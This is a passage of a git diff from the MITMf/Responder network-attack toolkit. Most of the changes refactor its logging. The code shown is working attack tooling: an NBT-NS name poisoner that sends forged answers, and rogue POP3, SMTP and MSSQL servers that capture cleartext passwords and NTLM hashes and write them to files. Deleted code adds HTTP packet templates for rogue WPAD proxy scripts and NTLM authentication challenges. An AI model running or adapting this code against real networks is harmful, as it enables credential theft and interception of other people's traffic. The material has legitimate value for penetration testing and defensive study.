mitmf_logger.info('[MSSQLServer] MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
|
||||
log.info('MsSQL NTLMv1 hash captured from :{}'.format(client))
|
||||
log.info('MSSQL NTLMv1 User is :{}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
log.info('MSSQL NTLMv1 Domain is :{}'.format(Domain))
|
||||
log.info('MSSQL NTLMv1 Complete hash is: {}'.format(User+"::"+Domain+":"+LMHash+":"+NtHash+":"+Challenge))
|
||||
if NthashLen > 60:
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
@ -64,10 +66,10 @@ def ParseSQLHash(data,client):
|
||||
outfile = "./logs/responder/MSSQL-NTLMv2-Client-"+client+".txt"
|
||||
Writehash = User+"::"+Domain+":"+Challenge+":"+Hash[:32].upper()+":"+Hash[32:].upper()
|
||||
WriteData(outfile,Writehash,User+"::"+Domain)
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 hash captured from {}'.format(client))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Domain is: {}'.format(Domain))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
mitmf_logger.info('[MSSQLServer] MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
|
||||
log.info('MSSQL NTLMv2 hash captured from {}'.format(client))
|
||||
log.info('MSSQL NTLMv2 Domain is: {}'.format(Domain))
|
||||
log.info('MSSQL NTLMv2 User is: {}'.format(SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')))
|
||||
log.info('MSSQL NTLMv2 Complete Hash is: {}'.format(Writehash))
|
||||
|
||||
def ParseSqlClearTxtPwd(Pwd):
|
||||
Pwd = map(ord,Pwd.replace('\xa5',''))
|
||||
@ -86,7 +88,7 @@ def ParseClearTextSQLPass(Data,client):
|
||||
PwdStr = ParseSqlClearTxtPwd(Data[8+PwdOffset:8+PwdOffset+PwdLen])
|
||||
UserName = Data[8+UsernameOffset:8+UsernameOffset+UsernameLen].decode('utf-16le')
|
||||
WriteData(outfile,UserName+":"+PwdStr,UserName+":"+PwdStr)
|
||||
mitmf_logger.info('[MSSQLServer] {} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
|
||||
log.info('{} MSSQL Username: {} Password: {}'.format(client, UserName, PwdStr))
|
||||
|
||||
def ParsePreLoginEncValue(Data):
|
||||
PacketLen = struct.unpack('>H',Data[2:4])[0]
|
@ -7,15 +7,17 @@ import logging
|
||||
import string
|
||||
|
||||
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.logger import logger
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.common import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [NBTNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("NBTNSpoisoner", formatter)
|
||||
|
||||
class NBTNSPoisoner():
|
||||
class NBTNSpoisoner():
|
||||
|
||||
def start(self, options, ourip):
|
||||
|
||||
@ -23,13 +25,13 @@ class NBTNSPoisoner():
|
||||
global args; args = options
|
||||
|
||||
try:
|
||||
mitmf_logger.debug("[NBTNSPoisoner] OURIP => {}".format(ourip))
|
||||
log.debug("OURIP => {}".format(ourip))
|
||||
server = ThreadingUDPServer(("0.0.0.0", 137), NB)
|
||||
t = threading.Thread(name="NBTNSPoisoner", target=server.serve_forever)
|
||||
t = threading.Thread(name="NBTNSpoisoner", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[NBTNSPoisoner] Error starting on port 137: {}".format(e))
|
||||
except Exception as e:
|
||||
log.debug("Error starting on port 137: {}".format(e))
|
||||
|
||||
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||
|
||||
@ -107,7 +109,7 @@ def Decode_Name(nbname):
|
||||
((ord(nbname[i+1]) - 0x41) & 0xf)))
|
||||
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
|
||||
except Exception, e:
|
||||
mitmf_logger.debug("[NBTNSPoisoner] Error parsing NetBIOS name: {}".format(e))
|
||||
log.debug("Error parsing NetBIOS name: {}".format(e))
|
||||
return "Illegal NetBIOS name"
|
||||
|
||||
# NBT_NS Server class.
|
||||
@ -115,7 +117,7 @@ class NB(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
|
||||
ResponderConfig = ConfigWatcher().config['Responder']
|
||||
DontRespondTo = ResponderConfig['DontRespondTo']
|
||||
DontRespondToName = ResponderConfig['DontRespondToName']
|
||||
RespondTo = ResponderConfig['RespondTo']
|
||||
@ -136,11 +138,11 @@ class NB(BaseRequestHandler):
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
|
||||
log.warning("{} is looking for: {} | Service requested: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,NBT_NS_Role(data[43:46]),Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
else:
|
||||
mitmf_logger.warning("[NBTNSPoisoner] {} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
log.warning("{} is looking for: {} | Service requested is: {}".format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
|
||||
|
||||
if RespondToSpecificHost(RespondTo) and args.analyze == False:
|
||||
if RespondToIPScope(RespondTo, self.client_address[0]):
|
||||
@ -151,26 +153,26 @@ class NB(BaseRequestHandler):
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
||||
@ -185,26 +187,26 @@ class NB(BaseRequestHandler):
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
if RespondToSpecificName(RespondToName) == False:
|
||||
buff = NBT_Ans()
|
||||
buff.calculate(data)
|
||||
for x in range(1):
|
||||
socket.sendto(str(buff), self.client_address)
|
||||
mitmf_logger.warning('[NBTNSPoisoner] Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
log.warning('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0], Name))
|
||||
if args.finger:
|
||||
try:
|
||||
Finger = RunSmbFinger((self.client_address[0],445))
|
||||
mitmf_logger.info("[NBTNSPoisoner] OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
log.info("OS: {} | ClientVersion: {}".format(Finger[0],Finger[1]))
|
||||
except Exception:
|
||||
mitmf_logger.info('[NBTNSPoisoner] Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
log.info('Fingerprint failed for host: %s'%(self.client_address[0]))
|
||||
pass
|
||||
else:
|
||||
pass
|
@ -5,20 +5,22 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.responder.common import *
|
||||
from core.responder.odict import OrderedDict
|
||||
from core.responder.packet import Packet
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [POP3server] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("POP3server", formatter)
|
||||
|
||||
class POP3Server():
|
||||
class POP3server():
|
||||
|
||||
def start(self):
|
||||
try:
|
||||
mitmf_logger.debug("[POP3Server] online")
|
||||
log.debug("online")
|
||||
server = ThreadingTCPServer(("0.0.0.0", 110), POP)
|
||||
t = threading.Thread(name="POP3Server", target=server.serve_forever)
|
||||
t = threading.Thread(name="POP3server", target=server.serve_forever)
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
except Exception, e:
|
||||
mitmf_logger.error("[POP3Server] Error starting on port {}: {}".format(110, e))
|
||||
except Exception as e:
|
||||
log.error("Error starting on port {}: {}".format(110, e))
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
@ -43,7 +45,7 @@ class POP(BaseRequestHandler):
|
||||
data = self.request.recv(1024)
|
||||
if data[0:4] == "USER":
|
||||
User = data[5:].replace("\r\n","")
|
||||
mitmf_logger.info('[+]POP3 User: %s'%(User))
|
||||
log.info('POP3 User: %s'%(User))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
@ -51,7 +53,7 @@ class POP(BaseRequestHandler):
|
||||
Pass = data[5:].replace("\r\n","")
|
||||
Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
|
||||
mitmf_logger.info("[POP3Server] POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
|
||||
log.info("POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass))
|
||||
t = POPOKPacket()
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
@ -60,4 +62,4 @@ class POP(BaseRequestHandler):
|
||||
self.request.send(str(t))
|
||||
data = self.request.recv(1024)
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[POP3Server] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
@ -5,21 +5,23 @@ from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from base64 import b64decode
|
||||
from SMTPPackets import *
|
||||
from core.responder.common import *
|
||||
from core.logger import logger
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||
log = logger().setup_logger("SMTPserver", formatter)
|
||||
|
||||
class SMTPServer():
|
||||
class SMTPserver():
|
||||
|
||||
def serve_thread_tcp(self, port):
|
||||
try:
|
||||
server = ThreadingTCPServer(("0.0.0.0", port), ESMTP)
|
||||
server.serve_forever()
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[SMTPServer] Error starting TCP server on port {}: {}".format(port, e))
|
||||
log.error("Error starting TCP server on port {}: {}".format(port, e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def start(self):
|
||||
mitmf_logger.debug("[SMTPServer] online")
|
||||
log.debug("online")
|
||||
t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,))
|
||||
t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,))
|
||||
|
||||
@ -56,7 +58,7 @@ class ESMTP(BaseRequestHandler):
|
||||
Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
|
||||
WriteData(Outfile,Username+":"+Password, Username+":"+Password)
|
||||
#print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
|
||||
mitmf_logger.info("[SMTPServer] {} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
|
||||
log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password))
|
||||
|
||||
except Exception as e:
|
||||
mitmf_logger.error("[SMTPServer] Error handling request: {}".format(e))
|
||||
log.error("Error handling request: {}".format(e))
|
@ -1,275 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
# NBT-NS/LLMNR Responder
|
||||
# Created by Laurent Gaffie
|
||||
# Copyright (C) 2014 Trustwave Holdings, Inc.
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
import struct
|
||||
|
||||
from core.responder.packet import Packet
|
||||
from core.responder.odict import OrderedDict
|
||||
from base64 import b64decode,b64encode
|
||||
|
||||
#WPAD script. the wpadwpadwpad is shorter than 15 chars and unlikely to be found.
|
||||
class WPADScript(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServerExeFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: application/octet-stream\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServeAlwaysExeFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: application/octet-stream\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentDisp", "Content-Disposition: attachment; filename="),
|
||||
("ContentDiFile", ""),
|
||||
("FileCRLF", ";\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
class ServeAlwaysNormalFile(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ContentType", "Content-Type: text/html\r\n"),
|
||||
("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"),
|
||||
("AcceptRanges", "Accept-Ranges: bytes\r\n"),
|
||||
("Server", "Server: Microsoft-IIS/7.5\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"),
|
||||
("Connection", "Connection: keep-alive\r\n"),
|
||||
("X-CCC", "US\r\n"),
|
||||
("X-CID", "2\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
("Payload", "jj"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
#HTTP Packet used for further NTLM auth.
|
||||
class IIS_Auth_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
|
||||
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"),
|
||||
("Connection", "Connection: close \r\n"),
|
||||
("PConnection", "proxy-Connection: close \r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP NTLM packet.
|
||||
class IIS_407_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Authentication Required\r\n"),
|
||||
("Via", "Via: 1.1 SMB-TOOLKIT\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "Proxy-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
self.fields["Payload"] = b64encode(payload)
|
||||
|
||||
#HTTP Basic answer packet.
|
||||
class IIS_Basic_407_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 407 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP Packet used for further NTLM auth.
|
||||
class IIS_Auth_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
#HTTP Packet Granted auth.
|
||||
class IIS_Auth_Granted(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 200 OK\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: NTLM\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("ContentLen", "Content-Length: "),
|
||||
("ActualLen", "76"),
|
||||
("CRLF", "\r\n\r\n"),
|
||||
("Payload", "<html>\n<head>\n</head>\n<body>\n<img src='file:\\\\\\\\\\\\shar\\smileyd.ico' alt='Loading' height='1' width='2'>\n</body>\n</html>\n"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["ActualLen"] = len(str(self.fields["Payload"]))
|
||||
|
||||
#HTTP NTLM Auth
|
||||
class NTLM_Challenge(Packet):
|
||||
fields = OrderedDict([
|
||||
("Signature", "NTLMSSP"),
|
||||
("SignatureNull", "\x00"),
|
||||
("MessageType", "\x02\x00\x00\x00"),
|
||||
("TargetNameLen", "\x06\x00"),
|
||||
("TargetNameMaxLen", "\x06\x00"),
|
||||
("TargetNameOffset", "\x38\x00\x00\x00"),
|
||||
("NegoFlags", "\x05\x02\x89\xa2"),
|
||||
("ServerChallenge", ""),
|
||||
("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("TargetInfoLen", "\x7e\x00"),
|
||||
("TargetInfoMaxLen", "\x7e\x00"),
|
||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||
("TargetNameStr", "SMB"),
|
||||
("Av1", "\x02\x00"),#nbt name
|
||||
("Av1Len", "\x06\x00"),
|
||||
("Av1Str", "SMB"),
|
||||
("Av2", "\x01\x00"),#Server name
|
||||
("Av2Len", "\x14\x00"),
|
||||
("Av2Str", "SMB-TOOLKIT"),
|
||||
("Av3", "\x04\x00"),#Full Domain name
|
||||
("Av3Len", "\x12\x00"),
|
||||
("Av3Str", "smb.local"),
|
||||
("Av4", "\x03\x00"),#Full machine domain name
|
||||
("Av4Len", "\x28\x00"),
|
||||
("Av4Str", "server2003.smb.local"),
|
||||
("Av5", "\x05\x00"),#Domain Forest Name
|
||||
("Av5Len", "\x12\x00"),
|
||||
("Av5Str", "smb.local"),
|
||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||
("Av6Len", "\x00\x00"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##First convert to uni
|
||||
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le')
|
||||
self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le')
|
||||
self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le')
|
||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||
|
||||
##Then calculate
|
||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||
|
||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||
|
||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
||||
|
||||
# Target Name Offsets
|
||||
self.fields["TargetNameOffset"] = struct.pack("<i", len(CalculateNameOffset))
|
||||
self.fields["TargetNameLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
self.fields["TargetNameMaxLen"] = struct.pack("<i", len(self.fields["TargetNameStr"]))[:2]
|
||||
#AvPairs Offsets
|
||||
self.fields["TargetInfoOffset"] = struct.pack("<i", len(CalculateAvPairsOffset))
|
||||
self.fields["TargetInfoLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
self.fields["TargetInfoMaxLen"] = struct.pack("<i", len(CalculateAvPairsLen))[:2]
|
||||
#AvPairs StrLen
|
||||
self.fields["Av1Len"] = struct.pack("<i", len(str(self.fields["Av1Str"])))[:2]
|
||||
self.fields["Av2Len"] = struct.pack("<i", len(str(self.fields["Av2Str"])))[:2]
|
||||
self.fields["Av3Len"] = struct.pack("<i", len(str(self.fields["Av3Str"])))[:2]
|
||||
self.fields["Av4Len"] = struct.pack("<i", len(str(self.fields["Av4Str"])))[:2]
|
||||
self.fields["Av5Len"] = struct.pack("<i", len(str(self.fields["Av5Str"])))[:2]
|
||||
|
||||
#HTTP NTLM packet.
|
||||
class IIS_NTLM_Challenge_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWWAuth", "WWW-Authenticate: NTLM "),
|
||||
("Payload", ""),
|
||||
("Payload-CRLF", "\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
||||
|
||||
def calculate(self,payload):
|
||||
self.fields["Payload"] = b64encode(payload)
|
||||
|
||||
#HTTP Basic answer packet.
|
||||
class IIS_Basic_401_Ans(Packet):
|
||||
fields = OrderedDict([
|
||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
|
||||
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
|
||||
("Type", "Content-Type: text/html\r\n"),
|
||||
("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"),
|
||||
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
|
||||
("Len", "Content-Length: 0\r\n"),
|
||||
("CRLF", "\r\n"),
|
||||
])
|
@ -1,157 +0,0 @@
|
||||
import socket
|
||||
import threading
|
||||
import logging
|
||||
import re
|
||||
|
||||
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
|
||||
from core.configwatcher import ConfigWatcher
|
||||
from core.responder.common import *
|
||||
from HTTPPackets import *
|
||||
|
||||
mitmf_logger = logging.getLogger("mitmf")
|
||||
|
||||
class WPADPoisoner():
|
||||
|
||||
